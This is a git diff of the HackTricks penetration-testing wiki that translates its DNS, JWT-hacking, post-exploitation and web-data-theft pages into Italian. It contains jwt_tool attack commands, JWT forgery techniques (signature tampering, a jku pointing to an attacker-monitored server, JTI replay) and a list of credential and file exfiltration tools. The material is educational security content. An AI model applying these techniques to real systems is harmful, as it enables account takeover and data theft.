- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ./banners/hacktricks-training.md}} diff --git a/src/pentesting-dns.md b/src/pentesting-dns.md index 8bd354c0a..0caa7e0ca 100644 --- a/src/pentesting-dns.md +++ b/src/pentesting-dns.md @@ -1,8 +1,8 @@ {{#include ./banners/hacktricks-training.md}} -**Research more about attacks to DNS** +**Ricerca ulteriori attacchi al DNS** -**DNSSEC and DNSSEC3** +**DNSSEC e DNSSEC3** **DNS in IPv6** diff --git a/src/pentesting-web/hacking-jwt-json-web-tokens.md b/src/pentesting-web/hacking-jwt-json-web-tokens.md index 8a6904277..df42a1514 100644 --- a/src/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/src/pentesting-web/hacking-jwt-json-web-tokens.md @@ -7,7 +7,7 @@ ### **Vittorie Veloci** -Esegui [**jwt_tool**](https://github.com/ticarpi/jwt_tool) con modalità `All Tests!` e aspetta le righe verdi +Esegui [**jwt_tool**](https://github.com/ticarpi/jwt_tool) con la modalità `All Tests!` e aspetta le righe verdi ```bash python3 jwt_tool.py -M at \ -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \ @@ -17,7 +17,7 @@ Se sei fortunato, lo strumento troverà qualche caso in cui l'applicazione web c ![](<../images/image (935).png>) -Poi, puoi cercare la richiesta nel tuo proxy o scaricare il JWT utilizzato per quella richiesta usando jwt\_ tool: +Poi, puoi cercare la richiesta nel tuo proxy o dumpare il JWT utilizzato per quella richiesta usando jwt\_ tool: ```bash python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291" ``` @@ -27,13 +27,13 @@ Puoi anche utilizzare l'[**Estensione Burp SignSaboteur**](https://github.com/d0 Puoi semplicemente modificare i dati lasciando la firma così com'è e controllare se il server sta verificando la firma. Prova a cambiare il tuo nome utente in "admin", ad esempio. -#### **La token viene controllata?** +#### **La firma del token viene controllata?** Per verificare se la firma di un JWT viene verificata: - Un messaggio di errore suggerisce una verifica in corso; i dettagli sensibili negli errori dettagliati dovrebbero essere esaminati. - Un cambiamento nella pagina restituita indica anche una verifica. -- Nessun cambiamento suggerisce nessuna verifica; è il momento di sperimentare con la modifica delle affermazioni del payload. +- Nessun cambiamento suggerisce nessuna verifica; è il momento di sperimentare con le affermazioni del payload. ### Origine @@ -46,7 +46,7 @@ Per verificare se la firma di un JWT viene verificata: Controlla se il token dura più di 24 ore... forse non scade mai. Se c'è un campo "exp", controlla se il server lo gestisce correttamente. -### Forza bruta della chiave segreta HMAC +### Brute-force HMAC secret [**Vedi questa pagina.**](../generic-hacking/brute-force.md#jwt) @@ -128,7 +128,7 @@ Uno scenario in cui il parametro `kid` specifica un percorso di file utilizzato #### jku jku sta per **JWK Set URL**.\ -Se il token utilizza un claim di **Header** “**jku**” allora **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che detiene la chiave pubblica per verificare il token. Modifica il token per puntare il valore jku a un servizio web per cui puoi monitorare il traffico. +Se il token utilizza un claim di **Header** “**jku**” allora **controlla l'URL fornito**. Questo dovrebbe puntare a un URL contenente il file JWKS che detiene la chiave pubblica per verificare il token. Modifica il token per puntare il valore jku a un servizio web che puoi monitorare per il traffico. Prima devi creare un nuovo certificato con nuove chiavi private e pubbliche. ```bash @@ -218,7 +218,7 @@ Ecco un esempio: [ECDSA: Rivelare la chiave privata, se viene utilizzato lo stes ### JTI (JWT ID) Il claim JTI (JWT ID) fornisce un identificatore unico per un token JWT. Può essere utilizzato per prevenire la ripetizione del token.\ -Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). Le richieste 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti abusare di questo per **ripetere una richiesta** (necessitando di inviare 10000 richieste tra ogni ripetizione riuscita). +Tuttavia, immagina una situazione in cui la lunghezza massima dell'ID è 4 (0001-9999). La richiesta 0001 e 10001 utilizzeranno lo stesso ID. Quindi, se il backend incrementa l'ID ad ogni richiesta, potresti abusare di questo per **ripetere una richiesta** (necessitando di inviare 10000 richieste tra ogni ripetizione riuscita). ### JWT Registered claims diff --git a/src/post-exploitation.md b/src/post-exploitation.md index 531f82530..58266f049 100644 --- a/src/post-exploitation.md +++ b/src/post-exploitation.md @@ -2,15 +2,15 @@ ## **Local l00t** -- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): These scripts, apart for looking for PE vectors, will look for sensitive information inside the filesystem. -- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): The **LaZagne project** is an open source application used to **retrieve lots of passwords** stored on a local computer. Each software stores its passwords using different techniques (plaintext, APIs, custom algorithms, databases, etc.). This tool has been developed for the purpose of finding these passwords for the most commonly-used software. +- [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): Questi script, oltre a cercare vettori PE, cercheranno informazioni sensibili all'interno del filesystem. +- [**LaZagne**](https://github.com/AlessandroZ/LaZagne): Il **progetto LaZagne** è un'applicazione open source utilizzata per **recuperare molte password** memorizzate su un computer locale. Ogni software memorizza le proprie password utilizzando tecniche diverse (testo normale, API, algoritmi personalizzati, database, ecc.). Questo strumento è stato sviluppato con l'obiettivo di trovare queste password per il software più comunemente utilizzato. -## **External Services** +## **Servizi Esterni** -- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): This Module will connect to Confluence's API using an access token, export to PDF, and download the Confluence documents that the target has access to. -- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Red Team tool for exfiltrating files from a target's Google Drive that you(the attacker) has access to, via the Google Drive API. This includes includes all shared files, all files from shared drives, and all files from domain drives that the target has access to. -- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Red Team tool for exfiltrating the target organization's Google People Directory that you have access to, via Google's People API. -- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** This is a tool developed in Python which uses the native Slack APIs to extract 'interesting' information from a Slack workspace given an access token. -- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound is a command line tool for red and blue teams to quickly perform reconnaissance of a Slack workspace/organization. Slackhound makes collection of an organization's users, files, messages, etc. quickly searchable and large objects are written to CSV for offline review. +- [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): Questo modulo si connetterà all'API di Confluence utilizzando un token di accesso, esporterà in PDF e scaricherà i documenti di Confluence a cui il target ha accesso. +- [**GD-Thief**](https://github.com/antman1p/GD-Thief): Strumento Red Team per esfiltrare file dal Google Drive di un target a cui hai (l'attaccante) accesso, tramite l'API di Google Drive. Questo include tutti i file condivisi, tutti i file da unità condivise e tutti i file da unità di dominio a cui il target ha accesso. +- [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Strumento Red Team per esfiltrare il Google People Directory dell'organizzazione target a cui hai accesso, tramite l'API delle Persone di Google. +- [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** Questo è uno strumento sviluppato in Python che utilizza le API native di Slack per estrarre informazioni 'interessanti' da uno spazio di lavoro Slack dato un token di accesso. +- [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound è uno strumento da riga di comando per team rossi e blu per eseguire rapidamente ricognizioni su uno spazio di lavoro/organizzazione Slack. Slackhound rende la raccolta di utenti, file, messaggi, ecc. di un'organizzazione rapidamente ricercabile e grandi oggetti vengono scritti in CSV per una revisione offline. {{#include ./banners/hacktricks-training.md}} diff --git a/src/stealing-sensitive-information-disclosure-from-a-web.md b/src/stealing-sensitive-information-disclosure-from-a-web.md index c24ee8094..510ded7d5 100644 --- a/src/stealing-sensitive-information-disclosure-from-a-web.md +++ b/src/stealing-sensitive-information-disclosure-from-a-web.md @@ -1,13 +1,13 @@ -# Stealing Sensitive Information Disclosure from a Web +# Furto di Informazioni Sensibili da un Web {{#include ./banners/hacktricks-training.md}} -If at some point you find a **web page that presents you sensitive information based on your session**: Maybe it's reflecting cookies, or printing or CC details or any other sensitive information, you may try to steal it.\ -Here I present you the main ways to can try to achieve it: +Se a un certo punto trovi una **pagina web che ti presenta informazioni sensibili basate sulla tua sessione**: Potrebbe riflettere cookie, stampare dettagli della carta di credito o qualsiasi altra informazione sensibile, potresti provare a rubarla.\ +Qui ti presento i principali modi per cercare di ottenerla: -- [**CORS bypass**](pentesting-web/cors-bypass.md): If you can bypass CORS headers you will be able to steal the information performing Ajax request for a malicious page. -- [**XSS**](pentesting-web/xss-cross-site-scripting/): If you find a XSS vulnerability on the page you may be able to abuse it to steal the information. -- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): If you cannot inject XSS tags you still may be able to steal the info using other regular HTML tags. -- [**Clickjaking**](pentesting-web/clickjacking.md): If there is no protection against this attack, you may be able to trick the user into sending you the sensitive data (an example [here](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). +- [**CORS bypass**](pentesting-web/cors-bypass.md): Se riesci a bypassare le intestazioni CORS, sarai in grado di rubare le informazioni effettuando una richiesta Ajax per una pagina malevola. +- [**XSS**](pentesting-web/xss-cross-site-scripting/): Se trovi una vulnerabilità XSS sulla pagina, potresti essere in grado di abusarne per rubare le informazioni. +- [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): Se non puoi iniettare tag XSS, potresti comunque essere in grado di rubare le informazioni utilizzando altri tag HTML regolari. +- [**Clickjaking**](pentesting-web/clickjacking.md): Se non c'è protezione contro questo attacco, potresti essere in grado di ingannare l'utente per inviarti i dati sensibili (un esempio [qui](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)). {{#include ./banners/hacktricks-training.md}}